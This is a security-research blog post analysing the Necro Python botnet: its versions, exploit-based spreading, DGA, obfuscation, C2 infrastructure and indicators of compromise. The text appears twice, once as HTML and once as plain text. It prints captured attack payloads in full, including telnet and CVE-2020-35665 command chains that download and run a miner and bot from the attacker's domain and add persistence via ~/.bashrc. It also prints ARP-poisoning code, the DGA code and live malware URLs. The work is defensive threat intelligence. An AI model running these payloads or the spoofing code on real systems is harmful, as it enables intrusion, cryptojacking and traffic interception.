<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----6-1.jpg" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>Below are the resolution statistics for version 3 domains. You can see that the resolution volume is rising, which means this version is active.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----9-1.jpg" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h2 id="sampleanalysis">Sample analysis</h2>
<p>Through the analysis, we found that the Necro samples captured in 2021 can be divided into 3 versions, and there are significant differences between each version in terms of propagation method, code obfuscation and C2 schema, where version 1 (necr0.py) to version 2 (out.py) are mainly code structure adjustments with an increase in obfuscation. From version 2 to version 3, the difference has increased, not only the code obfuscation has increased significantly, but also C2 has changed from hardcoded domain names to using the DGA. In addition, some n-day vulnerabilities have been added to version 3 in terms of propagation methods.</p>
<h3 id="version1">Version 1</h3>
<p>Because version 1 was named necro.py by the author, we named the family Necro. In terms of code obfuscation, version 1 only partially obfuscates the code.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/5.jpg" class="kg-image" alt loading="lazy"></figure><p></p><!--kg-card-begin: markdown--><p>Its C2 information is <a href="#c2_encode">simply encoded</a> and stored, and after several inverse decodes can be easily obtained as follows.</p>
<pre><code>irc server: '45.145.185.229'
channel: '#necro'
key: 'm0rph'
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>Readable DDoS attack-related command strings can be found in the original sample.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----2-1.jpg" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>From these command strings we can see that Necro is a botnet for DDoS attacks, C2 protocol based on IRC, supports attacks including both the common udpflood, synflood, slowloris, httpflood these, but also an uncommon method of amp attack.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="version2">Version 2</h3>
<p>Version 2 (out.py) is comparable to version 1 in terms of obfuscation, but there is a change in vulnerability exploitation to include the Zend Framework (known as CVE-2021-3007).</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----4-1.jpg" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>It is worth noting that the vulnerability was only revealed on January 4, 2021, which again shows that the authors of Necro were very "aggressive" in exploiting the new vulnerability.</p>
<p>In terms of C2 storage, version 2 is same as version 1.</p>
<pre><code>irc server: 'gxbrowser.net'
channel: '#update'
key: 'N3Wm3W'
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="version3">Version3</h3>
<p>Version 3's were detected to be propagated with benchmark.py names. Compared to the first two versions, the biggest change in version 3 is the use of DGA to generate C2 domain names, the specific algorithm refer to the <a href="#dga">DGA code</a> behind, the following is a simulation of the algorithm to generate part of the domain name:</p>
<pre><code>avEiXUcYimXwcMph.xyz
avEiXUcYimXwcMph.xyz
avEiXUcYimXwcMph.xyz
aoRmVwOaTOGgYqbk.xyz
aoRmVwOaTOGgYqbk.xyz
aoRmVwOaTOGgYqbk.xyz
MasEdcNVYwedJwVd.xyz
MasEdcNVYwedJwVd.xyz
MasEdcNVYwedJwVd.xyz
suBYdZaoqwveKRlQ.xyz
...
</code></pre>
<p>Through our own Passive DNS system(link <a href="https://passivedns.cn">https://passivedns.cn</a>), we see that the 1st domain name aveixucyimxwcmph.xyz generated by this DGA algorithm is enabled and is also used as the domain name of the download server.</p>
<pre><code>2021-01-11 11:49:28 2021-01-20 03:47:28 372 aveixucyimxwcmph.xyz A 193.239.147.224
2021-01-11 20:11:02 2021-01-11 20:11:03 2 aveixucyimxwcmph.xyz TXT "v=spf1 include:spf.efwd.registrar-servers.com ~all"
2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward4.registrar-servers.com
2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward5.registrar-servers.com
2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward2.registrar-servers.com
2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward1.registrar-servers.com
2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward3.registrar-servers.com
</code></pre>
<p>On January 20, 2021, in the latest version 3 sample the authors made another change to the DGA algorithm, modifying the seeds from 3 to 4096, and also started using SSL to encrypt the communication data.</p>
<p>Another change in version 3 is that the code has been obfuscated more severely. Not only have all custom objects been replaced with random characters, but even the strings have been encoded in this way with base64.encode(zlib.compress(plain_string)), resulting in samples that no longer have readable, meaningful strings, as shown in the following figure.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----14-1.jpg" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>In terms of propagation methods, version 3 adds more vulnerability exploits, which can be seen in the decoded strings as follows.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----8-1.jpg" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>There is no change in the supported DDoS attack methods in version 3, only the command string is encoded, and the decoded DDoS command string is as follows.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----7-1.jpg" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h3 id="samplehistory">Sample history</h3>
<p>We can see that Necro was developed as early as 2015 and is called N3Cr0m0rPh (Necromorph) by the authors.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----13-1.jpg" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>We were able to correlate a batch of early Necro samples for Windows from the sample library, all exe files, which also happened to date back to 2015, matching the version information in version 1. From these clues, we can tell that Necro first targeted the Windows platform, and then perhaps the natural cross-platform characteristics of Python programs, or the existence of a large number of vulnerabilities in the existing network of Linux machines (IoT devices, cloud servers, etc.), which inspired the Necro authors to move on to Linux devices.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h3 id="others">Others</h3>
<p>Since some of the Necro samples are distributed as PyInstaller packages, here is a brief description of how to restore a readable .py script by means of unpacking, decompiling, and unobfuscating.</p>
<ul>
<li>Unpacking<br>
Take version 3 as an example, after unpacking the pydata data extracted from the ELF samples with the open source tool <a href="https://github.com/extremecoders-re/pyinstxtractor">pyinstxtractor</a>, you can get the .so dynamic library, python library and bytecode file .benchmark.pyc that the original python script depends on.</li>
</ul>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----3-1.jpg" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><ul>
<li>
<p>Decompiling pyc<br>
By decompiling .pyc bytecode with <a href="https://pypi.org/project/uncompyle6/">uncompyle6</a>, we can get the final python script. By comparing the python script .benchmark.py from the same downloader, we find that it is the same as the decompiled .py script, so we conclude that .benchmark.py is the original script before packaging.</p>
</li>
<li>
<p>String decryption<br>
Necro uses a simple zip compression with an alias algorithm to encrypt the string, take the following code as an example, first decompress and then alias to get the decrypted string value ‘8.8.8.8'</p>
</li>
</ul>
<pre><code>xor_crypt(zlib.decompress(b'\x78\x9c\xab\xac\x8d\x72\xf7\xca\x96\x06\x00\x0a\xf1\x02\x68'))
def xor_crypt(s):
xor_key = [65, 83, 98, 105, 114, 69, 35, 64, 115, 103, 71, 103, 98, 52]
return ('').join([ chr(ord(c) ^ xor_key[(i % len(xor_key))]) for i, c in enumerate(s) ])
</code></pre>
<ul>
<li>Deforming<br>
The python script will first call the repack() function after it starts to deform the current file. The deformation algorithm is to take an object name (possibly a class, variable name, function name) from the obj_name_list table (which holds the custom object names in the file) in turn, then generate an 8-bit random string, and replace the corresponding object name in the file with this 8-bit random string. The result is that no more readable object names can be found in the original file. Because this practice is irreversible, we can only speculate on the meaning of each function and variable from the code function, referring to earlier versions of the code, we basically figured out the code function.</li>
</ul>
<pre><code>def __init__(self):
...
self.repack() #repack bot before we install
self.install() #Install
def repack(self):
try:
fh_myself=open(argv[0],"r")
_pyload=fh_myself.read()
fh_myself.close()
obj_name_list=['localhost_irc','gen_random_8char'....]
for obj_name in obj_name_list:
_pyload=_pyload.replace(obj_name,self.gen_random_8char(8))
new_fh_myself=open(argv[0],"w")
new_fh_myself.write(_pyload)
new_fh_myself.close()
except:
pass
</code></pre>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><ul>
<li>ARP Spoofing and Traffic Sniffing<br>
Necro also supports ARP spoofing and network traffic sniffing. ARP spoofing is designed to disguise the victim machine as a gateway, the code is shown below.</li>
</ul>
<pre><code>def create_pkt_arp_poison():
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.SOCK_RAW)
s.bind(("wlan0", 0))
while(1):
for lmfao in getPoisonIPs():
src_addr = get_src_mac()
dst_addr = lmfao[0]
src_ip_addr = get_default_gateway_linux()
dst_ip_addr = lmfao[1]
dst_mac_addr = "\x00\x00\x00\x00\x00\x00"
payload = "\x00\x01\x08\x00\x06\x04\x00\x02"
checksum = "\x00\x00\x00\x00"
ethertype = "\x08\x06"
s.send(dst_addr + src_addr + ethertype + payload+src_addr + src_ip_addr
+ dst_mac_addr + dst_ip_addr + checksum)
time.sleep(2)
</code></pre>
<p>The buggy code executes in a separate thread, reading /proc/net/arp every 2 seconds to get the latest ARP neighbors, and then sending them ARP responses pretending to be the gateway, with the goal of making the other party believe that the machine it is running on is the gateway. The author may have done this to achieve man-in-the-middle hijacking, but we have not seen any more code related to man-in-the-middle communication yet, so the feature is probably still under development.</p>
<p>The sample will start a sniffing thread when it starts. Sniffing mainly targets the TCP traffic of the victim machine, which is controlled by the C2 directive (.sniffer-resume). Once enabled, all TCP traffic not from the following ports will be logged and reported to C2's port 1337: "1337, 6667, 23, 443, 37215, 53, 22".</p>
<p>The sample will start a sniffing process when it starts, and report all the traffic of interest in the intranet to port 1337 of the cc server.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="c2infrastructure">C2 Infrastructure</h2>
<p>Starting from the download server domain aveixucyimxwcmph.xyz, we expand more information about the IoC through our graph system and sucessfully linked all c2s from the three different versions.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----10-1.jpg" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>Among them, the C2 domain gxbrowser.net in version 2 has also resolved to C2 45.145.185.229 in version 1, and the IP 193.239.147.224 resolved by the C2 domain aveixucyimxwcmph.xyz in version 3 has also been used by gxbrowser.net, which means that the authors behind the current 3 versions of Necro botnet are very likely same person</p>
<p>All the Necro related domains have been blocked by our DNSmon system.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on twitter or email us to netlab at 360 dot cn.</p>
<h2 id="ioc">IOC</h2>
<p>C2</p>
<pre><code>45.145.185.83
193.239.147.224
gxbrowser.net
aveixucyimxwcmph.xyz
</code></pre>
<p>Download URL</p>
<pre><code># Version 1
http://45.145.185.229/necr0.py
# Version 2
http://gxbrowser.net/out
http://gxbrowser.net/out.py
# Version 3
http://aveixucyimxwcmph.xyz/.benchmark
http://aveixucyimxwcmph.xyz/.benchmark.py
# Others
http://gxbrowser.net/xmrig
http://gxbrowser.net/xmrig1
http://aveixucyimxwcmph.xyz/xmrig1
http://45.145.185.229/bins/nginx.html/keksec.x86
http://45.145.185.229/bins/nginx.html/keksec.spc
http://45.145.185.229/bins/nginx.html/keksec.sh4
http://45.145.185.229/bins/nginx.html/keksec.ppc
http://45.145.185.229/bins/nginx.html/keksec.mpsl
http://45.145.185.229/bins/nginx.html/keksec.mips
http://45.145.185.229/bins/nginx.html/keksec.m68k
http://45.145.185.229/bins/nginx.html/keksec.i586
http://45.145.185.229/bins/nginx.html/keksec.arm
http://45.145.185.229/bins/nginx.html/keksec.arm7
http://45.145.185.229/bins/nginx.html/keksec.arm5
http://45.145.185.229/bins/keksec.x88_64
http://45.145.185.229/bins/keksec.x86
http://45.145.185.229/bins/keksec.x64
http://45.145.185.229/bins/keksec.spc
http://45.145.185.229/bins/keksec.sh4
http://45.145.185.229/bins/keksec.ppc
http://45.145.185.229/bins/keksec.mpsl
http://45.145.185.229/bins/keksec.mips
http://45.145.185.229/bins/keksec.mips64
http://45.145.185.229/bins/keksec.m68k
http://45.145.185.229/bins/keksec.i586
http://45.145.185.229/bins/keksec.arm
http://45.145.185.229/bins/keksec.arm7
http://45.145.185.229/bins/keksec.arm5
http://45.145.185.229/update.sh
</code></pre>
<h2 id="aiddgadgaa"><a id="dga">DGA</a></h2>
<pre><code>import random
def gen_random_str(_range):
return ('').join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for _ in range(_range))
def gen_cc(time):
random.seed(a=5236442 + time)
return gen_random_str(16) + '.xyz'
def gen_DGA():
i = 0
while 1:
for _ in range(3):
try:
print(gen_cc(i))
except:
pass
if i >= 2048:
i = 0
i += 1
gen_DGA()
</code></pre>
<h2 id="aidc2_encodec2decryptionalgorithma"><a id="c2_encode">C2 decryption algorithm</a></h2>
<pre><code>self.irc_server=b64decode(b64decode("34653437353533303465343435353331346537613535333035613434353533303465353434353761346435343532366134653664343533303465353434643330346534373535333134643761346433303465376136623330356134343561363834653664343937613561343133643364".decode('hex').decode('hex')).decode('hex')) #Encoded irc server
self.server_port=6667 #Server port
self.channel=b64decode(b64decode("346534343662376134643661346433313465366434643331346635343464376134653437343533333465363733643364".decode('hex').decode('hex')).decode('hex')) #Encoded channel
self.channel_key==b64decode(b64decode("346536613439333134653434353137393465376136623332346437613531333334653661363337613561343133643364".decode('hex').decode('hex')).decode('hex')) #Encoded channel key
</code></pre>
<h2 id="references">References</h2>
<ul>
<li><a id="ref_1">https://www.imperva.com/blog/python-cryptominer-botnet-quickly-adopts-latest-vulnerabilities/</a></li>
<li><a id="ref_2">https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/</a></li>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-28188">https://nvd.nist.gov/vuln/detail/CVE-2020-28188</a></li>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-3007">https://nvd.nist.gov/vuln/detail/CVE-2021-3007</a></li>
<li><a href="https://nvd.nist.gov/vuln/detail/CVE-2020-7961">https://nvd.nist.gov/vuln/detail/CVE-2020-7961</a></li>
</ul>
<!--kg-card-end: markdown--> | Overview.
Necro is a classic family of botnet written in Python that was first discovered in 2015, at the beginning, it targeted Windows systems and often tagged by security vendors as Python.IRCBot and called N3Cr0m0rPh (Necromorph) by the author himself.
Since January 1, 2021, 360Netlab's BoTMon system has continued to detect new variants of the family, with three versions of the sample being detected, and the latest version using DGA to generate C2 domains against detection. All the 3 versions target Linux devices.
The key points of this blog are as follows.
1. In terms of propagation methods, Necro supports multiple methods and continues to integrate new publicly available 1-day vulnerabilities with a high attack capability.
2. The latest version uses the DGA technique to generate C2 domain names and the Python scripts are also heavily obfuscated to combat static analysis.
3. The latest 2 versions distribute Python programs together with ELF programs packaged with PyInstaller at the same time in order to ensure that they can be executed on victim machines that do not have Python2.
4. We suspect same actor behind all three versions.
At the time of writing, we note that two security vendors have reported Necro botnet PythonCryptoMinter FreakOut, but they both describe the second version that has stopped spreading.
Capture
Our Anglerfish honeypot system captured two propagation methods: one uses traditional telnet weak password and the other one utilizes an 1-day vulnerability (CVE-2020-35665). The following is a hit record from our honeypot.
The following is the payload being used for weak telnet password.
root
password
enable
system
shell
sh
echo -e '\x41\x4b\x34\x37'
wget http://aspjobjreorejborer.com/mirai.armexport ARGS="-o aveixucyimxwcmph.xyz:9050";
LINE="killall -9 .sshd||pkill -9 .sshd_;
[ ! -f /tmp/.pidfile ] && echo > /tmp/.pidfile;
nohup .sshd $ARGS > /dev/null||nohup .sshd_ $ARGS > /dev/null &";
grep -q "$LINE" ~/.bashrc||echo "$LINE" >> ~/.bashrc;
curl http://aveixucyimxwcmph.xyz/xmrig1 -O||wget http://aveixucyimxwcmph.xyz/xmrig1 -O .sshd_;
mv -f .sshd_ .sshd_;
chmod 777 .sshd_;
curl http://aveixucyimxwcmph.xyz/xmrig -O xmrig||wget http://aveixucyimxwcmph.xyz/xmrig -O xmrig;
mv -f xmrig .sshd;
chmod 777 .sshd;
chmod +x ~/.bashrc;
~/.bashrc;
cd /tmp||php -r "file_put_contents(".benchmark", file_get_contents("http://aveixucyimxwcmph.xyz/.benchmark"));";
curl http://aveixucyimxwcmph.xyz/.benchmark -O;
curl http://aveixucyimxwcmph.xyz/.benchmark.py -O;
php -r "file_put_contents(".benchmark.py", file_get_contents("http://aveixucyimxwcmph.xyz/.benchmark.py"));";
wget http://aveixucyimxwcmph.xyz/.benchmark -O .benchmark;
wget http://aveixucyimxwcmph.xyz/.benchmark.py -O .benchmark.py;
chmod 777 .benchmark.py;
chmod 777 .benchmark;
python .benchmark.py||python2 .benchmark.py||python2.7 .benchmark.py||./.benchmark||./.benchmark.py &
The following is the payload when exploiting the 1-day vulnerability CVE-2020-35665.
GET /include/makecvs.php?Event=`export ARGS="-o aveixucyimxwcmph.xyz:9050"
LINE="killall -9 .sshd||pkill -9 .sshd_
[ ! -f /tmp/.pidfile ] && echo > /tmp/.pidfile
nohup .sshd $ARGS > /dev/null||nohup .sshd_ $ARGS > /dev/null &"
grep -q "$LINE" ~/.bashrc||echo "$LINE" >> ~/.bashrc
curl http://aveixucyimxwcmph.xyz/xmrig1 -O||wget http://aveixucyimxwcmph.xyz/xmrig1 -O .sshd_
mv -f .sshd_ .sshd_
chmod 777 .sshd_
curl http://aveixucyimxwcmph.xyz/xmrig -O xmrig||wget http://aveixucyimxwcmph.xyz/xmrig -O xmrig
mv -f xmrig .sshd
chmod 777 .sshd
chmod +x ~/.bashrc
~/.bashrc
cd /tmp||php -r "file_put_contents(\".benchmark\", file_get_contents(\"http://aveixucyimxwcmph.xyz/.benchmark\"));"
curl http://aveixucyimxwcmph.xyz/.benchmark -O
curl http://aveixucyimxwcmph.xyz/.benchmark.py -O
php -r "file_put_contents(\".benchmark.py\", file_get_contents(\"http://aveixucyimxwcmph.xyz/.benchmark.py\"));"
wget http://aveixucyimxwcmph.xyz/.benchmark -O .benchmark
wget http://aveixucyimxwcmph.xyz/.benchmark.py -O .benchmark.py
As you can see from the payload above, in addition to downloading and executing the original Python script (.benchmark.py), exp will also attempt to download and execute the PyInstaller-packaged ELF file (.benchmark), a tactic introduced by the authors since version 2 to improve the execution success rate. Because Python 2 has reached EOL (end-of-life), some victim machines lack this runtime environment, and Python programs packaged with PyInstaller will become standalone ELFs that can be executed normally even without a Python environment on the target machine.
It is worth noting that vulnerability CVE-2020-35665 was made public on December 23, 2020, only 8 days after we first caught its exploitation, which shows that the authors are very "active" in the use of the new vulnerability.
In addition to the Necro sample, the above exp will also download the mining program xmrig and xmrig1.
When looking up the C2 in our database, we found that the same download server has also been used for the download of mirai and some Windows malicious exe programs, indicating that the authors of Necro are operating multiple families of botnet at the same time.
Infection Scale
Tapping in our DNSMon passivedns data, we can see the statistics of the two C2 domains used in version 2 and 3. Right now both counts are in 2 digits. But keep in mind that our pdns represents only a small subset of the global dns traffic, and based on past experiences, we won’t be surprised if the actual infected hosts is a much much bigger number.
Here are the resolution statistics of version 2 C2 domain, we can see that the count of this domain name has passed the stable period and is in a declining state.
Below are the resolution statistics for version 3 domains. You can see that the resolution volume is rising, which means this version is active.
Sample analysis
Through the analysis, we found that the Necro samples captured in 2021 can be divided into 3 versions, and there are significant differences between each version in terms of propagation method, code obfuscation and C2 schema, where version 1 (necr0.py) to version 2 (out.py) are mainly code structure adjustments with an increase in obfuscation. From version 2 to version 3, the difference has increased, not only the code obfuscation has increased significantly, but also C2 has changed from hardcoded domain names to using the DGA. In addition, some n-day vulnerabilities have been added to version 3 in terms of propagation methods.
Version 1
Because version 1 was named necro.py by the author, we named the family Necro. In terms of code obfuscation, version 1 only partially obfuscates the code.
Its C2 information is simply encoded and stored, and after several inverse decodes can be easily obtained as follows.
irc server: '45.145.185.229'
channel: '#necro'
key: 'm0rph'
Readable DDoS attack-related command strings can be found in the original sample.
From these command strings we can see that Necro is a botnet for DDoS attacks, C2 protocol based on IRC, supports attacks including both the common udpflood, synflood, slowloris, httpflood these, but also an uncommon method of amp attack.
Version 2
Version 2 (out.py) is comparable to version 1 in terms of obfuscation, but there is a change in vulnerability exploitation to include the Zend Framework (known as CVE-2021-3007).
It is worth noting that the vulnerability was only revealed on January 4, 2021, which again shows that the authors of Necro were very "aggressive" in exploiting the new vulnerability.
In terms of C2 storage, version 2 is same as version 1.
irc server: 'gxbrowser.net'
channel: '#update'
key: 'N3Wm3W'
Version3
Version 3's were detected to be propagated with benchmark.py names. Compared to the first two versions, the biggest change in version 3 is the use of DGA to generate C2 domain names, the specific algorithm refer to the DGA code behind, the following is a simulation of the algorithm to generate part of the domain name:
avEiXUcYimXwcMph.xyz
avEiXUcYimXwcMph.xyz
avEiXUcYimXwcMph.xyz
aoRmVwOaTOGgYqbk.xyz
aoRmVwOaTOGgYqbk.xyz
aoRmVwOaTOGgYqbk.xyz
MasEdcNVYwedJwVd.xyz
MasEdcNVYwedJwVd.xyz
MasEdcNVYwedJwVd.xyz
suBYdZaoqwveKRlQ.xyz
...
Through our own Passive DNS system(link https://passivedns.cn), we see that the 1st domain name aveixucyimxwcmph.xyz generated by this DGA algorithm is enabled and is also used as the domain name of the download server.
2021-01-11 11:49:28 2021-01-20 03:47:28 372 aveixucyimxwcmph.xyz A 193.239.147.224
2021-01-11 20:11:02 2021-01-11 20:11:03 2 aveixucyimxwcmph.xyz TXT "v=spf1 include:spf.efwd.registrar-servers.com ~all"
2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward4.registrar-servers.com
2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward5.registrar-servers.com
2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward2.registrar-servers.com
2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward1.registrar-servers.com
2021-01-11 20:11:01 2021-01-11 20:11:03 3 aveixucyimxwcmph.xyz MX eforward3.registrar-servers.com
On January 20, 2021, in the latest version 3 sample the authors made another change to the DGA algorithm, modifying the seeds from 3 to 4096, and also started using SSL to encrypt the communication data.
Another change in version 3 is that the code has been obfuscated more severely. Not only have all custom objects been replaced with random characters, but even the strings have been encoded in this way with base64.encode(zlib.compress(plain_string)), resulting in samples that no longer have readable, meaningful strings, as shown in the following figure.
In terms of propagation methods, version 3 adds more vulnerability exploits, which can be seen in the decoded strings as follows.
There is no change in the supported DDoS attack methods in version 3, only the command string is encoded, and the decoded DDoS command string is as follows.
Sample history
We can see that Necro was developed as early as 2015 and is called N3Cr0m0rPh (Necromorph) by the authors.
We were able to correlate a batch of early Necro samples for Windows from the sample library, all exe files, which also happened to date back to 2015, matching the version information in version 1. From these clues, we can tell that Necro first targeted the Windows platform, and then perhaps the natural cross-platform characteristics of Python programs, or the existence of a large number of vulnerabilities in the existing network of Linux machines (IoT devices, cloud servers, etc.), which inspired the Necro authors to move on to Linux devices.
Others
Since some of the Necro samples are distributed as PyInstaller packages, here is a brief description of how to restore a readable .py script by means of unpacking, decompiling, and unobfuscating.
* Unpacking
Take version 3 as an example, after unpacking the pydata data extracted from the ELF samples with the open source tool pyinstxtractor, you can get the .so dynamic library, python library and bytecode file .benchmark.pyc that the original python script depends on.
*
Decompiling pyc
By decompiling .pyc bytecode with uncompyle6, we can get the final python script. By comparing the python script .benchmark.py from the same downloader, we find that it is the same as the decompiled .py script, so we conclude that .benchmark.py is the original script before packaging.
*
String decryption
Necro uses a simple zip compression with an alias algorithm to encrypt the string, take the following code as an example, first decompress and then alias to get the decrypted string value ‘8.8.8.8'
xor_crypt(zlib.decompress(b'\x78\x9c\xab\xac\x8d\x72\xf7\xca\x96\x06\x00\x0a\xf1\x02\x68'))
def xor_crypt(s):
xor_key = [65, 83, 98, 105, 114, 69, 35, 64, 115, 103, 71, 103, 98, 52]
return ('').join([ chr(ord(c) ^ xor_key[(i % len(xor_key))]) for i, c in enumerate(s) ])
* Deforming
The python script will first call the repack() function after it starts to deform the current file. The deformation algorithm is to take an object name (possibly a class, variable name, function name) from the obj_name_list table (which holds the custom object names in the file) in turn, then generate an 8-bit random string, and replace the corresponding object name in the file with this 8-bit random string. The result is that no more readable object names can be found in the original file. Because this practice is irreversible, we can only speculate on the meaning of each function and variable from the code function, referring to earlier versions of the code, we basically figured out the code function.
def __init__(self):
...
self.repack() #repack bot before we install
self.install() #Install
def repack(self):
try:
fh_myself=open(argv[0],"r")
_pyload=fh_myself.read()
fh_myself.close()
obj_name_list=['localhost_irc','gen_random_8char'....]
for obj_name in obj_name_list:
_pyload=_pyload.replace(obj_name,self.gen_random_8char(8))
new_fh_myself=open(argv[0],"w")
new_fh_myself.write(_pyload)
new_fh_myself.close()
except:
pass
* ARP Spoofing and Traffic Sniffing
Necro also supports ARP spoofing and network traffic sniffing. ARP spoofing is designed to disguise the victim machine as a gateway, the code is shown below.
def create_pkt_arp_poison():
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.SOCK_RAW)
s.bind(("wlan0", 0))
while(1):
for lmfao in getPoisonIPs():
src_addr = get_src_mac()
dst_addr = lmfao[0]
src_ip_addr = get_default_gateway_linux()
dst_ip_addr = lmfao[1]
dst_mac_addr = "\x00\x00\x00\x00\x00\x00"
payload = "\x00\x01\x08\x00\x06\x04\x00\x02"
checksum = "\x00\x00\x00\x00"
ethertype = "\x08\x06"
s.send(dst_addr + src_addr + ethertype + payload+src_addr + src_ip_addr
+ dst_mac_addr + dst_ip_addr + checksum)
time.sleep(2)
The buggy code executes in a separate thread, reading /proc/net/arp every 2 seconds to get the latest ARP neighbors, and then sending them ARP responses pretending to be the gateway, with the goal of making the other party believe that the machine it is running on is the gateway. The author may have done this to achieve man-in-the-middle hijacking, but we have not seen any more code related to man-in-the-middle communication yet, so the feature is probably still under development.
The sample will start a sniffing thread when it starts. Sniffing mainly targets the TCP traffic of the victim machine, which is controlled by the C2 directive (.sniffer-resume). Once enabled, all TCP traffic not from the following ports will be logged and reported to C2's port 1337: "1337, 6667, 23, 443, 37215, 53, 22".
The sample will start a sniffing process when it starts, and report all the traffic of interest in the intranet to port 1337 of the cc server.
C2 Infrastructure
Starting from the download server domain aveixucyimxwcmph.xyz, we expand more information about the IoC through our graph system and sucessfully linked all c2s from the three different versions.
Among them, the C2 domain gxbrowser.net in version 2 has also resolved to C2 45.145.185.229 in version 1, and the IP 193.239.147.224 resolved by the C2 domain aveixucyimxwcmph.xyz in version 3 has also been used by gxbrowser.net, which means that the authors behind the current 3 versions of Necro botnet are very likely same person
All the Necro related domains have been blocked by our DNSmon system.
Contact us
Readers are always welcomed to reach us on twitter or email us to netlab at 360 dot cn.
IOC
C2
45.145.185.83
193.239.147.224
gxbrowser.net
aveixucyimxwcmph.xyz
Download URL
# Version 1
http://45.145.185.229/necr0.py
# Version 2
http://gxbrowser.net/out
http://gxbrowser.net/out.py
# Version 3
http://aveixucyimxwcmph.xyz/.benchmark
http://aveixucyimxwcmph.xyz/.benchmark.py
# Others
http://gxbrowser.net/xmrig
http://gxbrowser.net/xmrig1
http://aveixucyimxwcmph.xyz/xmrig1
http://45.145.185.229/bins/nginx.html/keksec.x86
http://45.145.185.229/bins/nginx.html/keksec.spc
http://45.145.185.229/bins/nginx.html/keksec.sh4
http://45.145.185.229/bins/nginx.html/keksec.ppc
http://45.145.185.229/bins/nginx.html/keksec.mpsl
http://45.145.185.229/bins/nginx.html/keksec.mips
http://45.145.185.229/bins/nginx.html/keksec.m68k
http://45.145.185.229/bins/nginx.html/keksec.i586
http://45.145.185.229/bins/nginx.html/keksec.arm
http://45.145.185.229/bins/nginx.html/keksec.arm7
http://45.145.185.229/bins/nginx.html/keksec.arm5
http://45.145.185.229/bins/keksec.x88_64
http://45.145.185.229/bins/keksec.x86
http://45.145.185.229/bins/keksec.x64
http://45.145.185.229/bins/keksec.spc
http://45.145.185.229/bins/keksec.sh4
http://45.145.185.229/bins/keksec.ppc
http://45.145.185.229/bins/keksec.mpsl
http://45.145.185.229/bins/keksec.mips
http://45.145.185.229/bins/keksec.mips64
http://45.145.185.229/bins/keksec.m68k
http://45.145.185.229/bins/keksec.i586
http://45.145.185.229/bins/keksec.arm
http://45.145.185.229/bins/keksec.arm7
http://45.145.185.229/bins/keksec.arm5
http://45.145.185.229/update.sh
DGA
import random
def gen_random_str(_range):
return ('').join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for _ in range(_range))
def gen_cc(time):
random.seed(a=5236442 + time)
return gen_random_str(16) + '.xyz'
def gen_DGA():
i = 0
while 1:
for _ in range(3):
try:
print(gen_cc(i))
except:
pass
if i >= 2048:
i = 0
i += 1
gen_DGA()
C2 decryption algorithm
self.irc_server=b64decode(b64decode("34653437353533303465343435353331346537613535333035613434353533303465353434353761346435343532366134653664343533303465353434643330346534373535333134643761346433303465376136623330356134343561363834653664343937613561343133643364".decode('hex').decode('hex')).decode('hex')) #Encoded irc server
self.server_port=6667 #Server port
